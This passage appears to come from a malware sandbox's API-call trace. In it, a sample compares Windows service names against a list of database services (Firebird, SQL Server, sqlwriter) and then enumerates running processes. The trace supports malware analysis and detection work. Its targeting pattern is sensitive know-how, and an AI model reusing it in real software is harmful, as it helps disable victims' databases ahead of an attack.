lpString2="iphlpsvc") returned 1 [0204.047] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0204.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0204.048] lstrlenW (lpString="KeyIso") returned 6 [0204.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0204.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0204.048] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0204.048] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0204.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0204.048] lstrlenW (lpString="LanmanServer") returned 12 [0204.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0204.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0204.048] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0204.048] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0204.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0204.048] lstrlenW (lpString="LanmanWorkstation") returned 17 [0204.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.048] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0204.048] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0204.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0204.048] lstrlenW (lpString="lfsvc") returned 5 [0204.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0204.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0204.048] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0204.048] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0204.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0204.048] lstrlenW (lpString="lmhosts") returned 7 [0204.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0204.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0204.048] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0204.048] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0204.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0204.048] lstrlenW (lpString="LSM") returned 3 [0204.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0204.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0204.049] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0204.049] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0204.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0204.049] lstrlenW (lpString="MpsSvc") returned 6 [0204.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0204.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0204.049] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0204.049] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0204.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0204.049] lstrlenW (lpString="NcbService") returned 10 [0204.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0204.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0204.049] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0204.049] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0204.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0204.049] lstrlenW (lpString="netprofm") returned 8 [0204.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0204.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0204.049] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0204.049] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0204.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0204.184] lstrlenW (lpString="NgcSvc") returned 6 [0204.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0204.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0204.184] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0204.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0204.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0204.190] lstrlenW (lpString="NlaSvc") returned 6 [0204.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0204.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0204.190] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0204.190] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0204.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0204.190] lstrlenW (lpString="nsi") returned 3 [0204.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0204.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0204.190] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0204.190] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0204.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0204.190] lstrlenW (lpString="PcaSvc") returned 6 [0204.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0204.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0204.191] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0204.191] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0204.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0204.191] lstrlenW (lpString="PlugPlay") returned 8 [0204.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0204.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0204.191] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0204.191] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0204.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0204.191] lstrlenW (lpString="Power") returned 5 [0204.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0204.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0204.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0204.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0204.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0204.191] lstrlenW (lpString="ProfSvc") returned 7 [0204.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0204.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0204.191] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0204.191] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0204.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0204.191] lstrlenW (lpString="RpcEptMapper") returned 12 [0204.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0204.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0204.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0204.191] lstrlenW (lpString="RpcSs") returned 5 [0204.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0204.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0204.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0204.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0204.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0204.192] lstrlenW (lpString="SamSs") returned 5 [0204.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0204.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0204.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0204.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0204.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0204.192] lstrlenW (lpString="Schedule") returned 8 [0204.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0204.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0204.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0204.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0204.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0204.192] lstrlenW (lpString="SecurityHealthService") returned 21 [0204.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0204.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0204.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0204.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0204.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0204.192] lstrlenW (lpString="SENS") returned 4 [0204.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0204.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0204.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0204.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0204.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0204.192] lstrlenW (lpString="ShellHWDetection") returned 16 [0204.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0204.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0204.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0204.192] lstrlenW (lpString="Spooler") returned 7 [0204.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0204.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0204.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0204.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0204.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0204.193] lstrlenW (lpString="StateRepository") returned 15 [0204.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0204.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0204.193] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0204.193] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0204.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0204.193] lstrlenW (lpString="SysMain") returned 7 [0204.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0204.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0204.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0204.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0204.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0204.193] lstrlenW (lpString="SystemEventsBroker") returned 18 [0204.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0204.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0204.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0204.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0204.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0204.193] lstrlenW (lpString="Themes") returned 6 [0204.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0204.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0204.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0204.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0204.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0204.193] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0204.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0204.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0204.193] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0204.193] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0204.194] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c4 [0204.198] Process32FirstW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.198] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.199] lstrlenW (lpString="System") returned 6 [0204.199] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.199] lstrlenW (lpString="smss.exe") returned 8 [0204.199] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.200] lstrlenW (lpString="csrss.exe") returned 9 [0204.200] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.200] lstrlenW (lpString="wininit.exe") returned 11 [0204.200] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.201] lstrlenW (lpString="csrss.exe") returned 9 [0204.201] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.201] lstrlenW (lpString="winlogon.exe") returned 12 [0204.201] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.201] lstrlenW (lpString="services.exe") returned 12 [0204.202] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.202] lstrlenW (lpString="lsass.exe") returned 9 [0204.202] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0204.202] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0204.202] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0204.203] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0204.203] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.203] lstrlenW (lpString="svchost.exe") returned 11 [0204.203] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.204] lstrlenW (lpString="svchost.exe") returned 11 [0204.204] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.204] lstrlenW (lpString="dwm.exe") returned 7 [0204.204] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.205] lstrlenW (lpString="svchost.exe") returned 11 [0204.205] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.205] lstrlenW (lpString="svchost.exe") returned 11 [0204.205] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.205] lstrlenW (lpString="svchost.exe") returned 11 [0204.206] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.206] lstrlenW (lpString="svchost.exe") returned 11 [0204.206] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.206] lstrlenW (lpString="svchost.exe") returned 11 [0204.206] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.207] lstrlenW (lpString="svchost.exe") returned 11 [0204.207] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.207] lstrlenW (lpString="svchost.exe") returned 11 [0204.207] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.208] lstrlenW (lpString="svchost.exe") returned 11 [0204.208] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.208] lstrlenW (lpString="svchost.exe") returned 11 [0204.208] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.209] lstrlenW (lpString="svchost.exe") returned 11 [0204.209] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.209] lstrlenW (lpString="spoolsv.exe") returned 11 [0204.209] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.209] lstrlenW (lpString="svchost.exe") returned 11 [0204.210] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.210] lstrlenW (lpString="audiodg.exe") returned 11 [0204.210] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0204.210] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0204.210] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0204.211] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0204.211] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0204.211] lstrlenW (lpString="Memory Compression") returned 18 [0204.211] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0204.212] lstrlenW (lpString="sihost.exe") returned 10 [0204.212] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.212] lstrlenW (lpString="svchost.exe") returned 11 [0204.212] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0204.213] lstrlenW (lpString="taskhostw.exe") returned 13 [0204.213] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0204.213] lstrlenW (lpString="msoia.exe") returned 9 [0204.213] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: 